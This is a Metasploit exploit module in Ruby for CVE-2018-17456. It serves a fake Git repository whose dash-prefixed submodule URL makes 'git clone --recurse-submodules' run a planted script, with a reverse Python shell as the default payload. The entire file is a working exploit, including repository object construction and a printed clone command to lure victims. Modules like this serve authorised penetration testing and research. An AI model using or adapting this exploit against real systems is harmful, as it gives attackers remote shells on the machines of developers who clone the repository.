## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Git def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Git HTTP Server For CVE-2018-17456', 'Description' => %q( This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL) ), 'Author' => 'timwr', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2018-17456'], ['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ], ['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ], ['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ], ], 'DisclosureDate' => '2018-10-05', 'Targets' => [ ['Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => {'Compat' => {'PayloadType' => 'python'}} } ] ], 'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'}, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] } ) ) register_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) ] ) end def setup @repo_data = { git: { files: {} } } setup_git super end def setup_git # URI must start with a / unless git_uri && git_uri.start_with?('/') fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end payload_content = "#!/bin/sh\n#{payload.raw} &" payload_file = Rex::Text.rand_text_alpha(4..6) submodule_path = datastore['GIT_SUBMODULE'] if submodule_path.blank? submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase end unless submodule_path.include?":" fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :') end gitmodules = "[submodule \"#{submodule_path}\"] path = #{submodule_path} url = -u./#{payload_file} " blob_obj = GitObject.build_blob_object(gitmodules) @repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed payload_blob = GitObject.build_blob_object(payload_content) @repo_data[:git][:files]["/objects/#{payload_blob.path}"] = payload_blob.compressed tree_entries = [ { mode: '100644', file_name: '.gitmodules', sha1: blob_obj.sha1 }, { mode: '100744', file_name: payload_file, sha1: payload_blob.sha1 }, { mode: '160000', file_name: submodule_path, sha1: blob_obj.sha1 } ] tree_obj = GitObject.build_tree_object(tree_entries) @repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed commit_obj = GitObject.build_commit_object(tree_sha1: tree_obj.sha1) @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n" end def primer # add the git and mercurial URIs as necessary hardcoded_uripath(git_uri) git_url = URI.parse(get_uri).merge(git_uri) print_status("Malicious Git URI is #{git_url}") print_status("git clone --recurse-submodules #{git_url}") end # handles git clone def on_request_uri(cli, req) req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end end